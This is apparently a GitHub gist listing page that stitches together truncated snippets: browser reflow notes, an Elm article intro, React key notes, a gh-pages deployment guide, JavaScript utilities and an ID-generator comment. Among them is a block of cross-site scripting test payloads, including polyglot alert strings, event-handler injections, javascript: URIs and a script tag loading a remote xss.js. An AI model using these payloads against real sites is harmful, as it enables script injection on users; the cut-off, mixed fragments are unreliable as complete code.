Shu Ding shuding

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics

elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent

Learning FP the hard way: Experiences on the Elm language

by Ossi Hanhinen, @ohanhi

with the support of Futurice 💚.

Licensed under CC BY 4.0.

Editorial note

key is pretty much crucial for state perservation in React. As of React 0.13 it can't do the following things:

Clone state

<Comp key={1} /><Comp key={1} />

Preserve component state across different parents:

Auto-deploying built products to gh-pages with GitHub Actions

This is a set up for projects which want to check in only their source files, but have their gh-pages branch automatically updated with some compiled output every time they push.

A file below this one contains the steps for doing this with Travis CI. However, these days I recommend GitHub Actions, for the following reasons:

It is much easier and requires less steps, because you are already authenticated with GitHub, so you don't need to share secret keys across services like you do when coordinate Travis CI and GitHub.
It is free, with no quotas.
Anecdotally, builds are much faster with GitHub Actions than with Travis CI, especially in terms of time spent waiting for a builder.

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	function mapValues(obj, fn) {
	return Object.keys(obj).reduce((result, key) => {
	result[key] = fn(obj[key], key);
	return result;
	}, {});
	}

	function pick(obj, fn) {
	return Object.keys(obj).reduce((result, key) => {
	if (fn(obj[key])) {

	// based on:
	// http://iamemmanouil.com/blog/electron-oauth-with-github/
	// https://github.com/ekonstantinidis/gitify

	// this version uses https rather than superagent

	var querystring = require('querystring');
	var https = require("https");

	// Your GitHub Applications Credentials

	var pureRender = (Component) => {
	Object.assign(Component.prototype, {
	shouldComponentUpdate (nextProps, nextState) {
	return !shallowEqual(this.props, nextProps) \|\|
	!shallowEqual(this.state, nextState);
	}
	});
	};

	module.exports = pureRender;

	import { Component } from "React";

	export var Enhance = ComposedComponent => class extends Component {
	constructor() {
	this.state = { data: null };
	}
	componentDidMount() {
	this.setState({ data: 'Hello' });
	}
	render() {

	/**
	* Fancy ID generator that creates 20-character string identifiers with the following properties:
	*
	* 1. They're based on timestamp so that they sort after any existing ids.
	* 2. They contain 72-bits of random data after the timestamp so that IDs won't collide with other clients' IDs.
	* 3. They sort lexicographically (so the timestamp is converted to characters that will sort properly).
	* 4. They're monotonically increasing. Even if you generate more than one in the same timestamp, the
	* latter ones will sort after the former ones. We do this by using the previous random bits
	* but "incrementing" them by 1 (only in the case of a timestamp collision).
	*/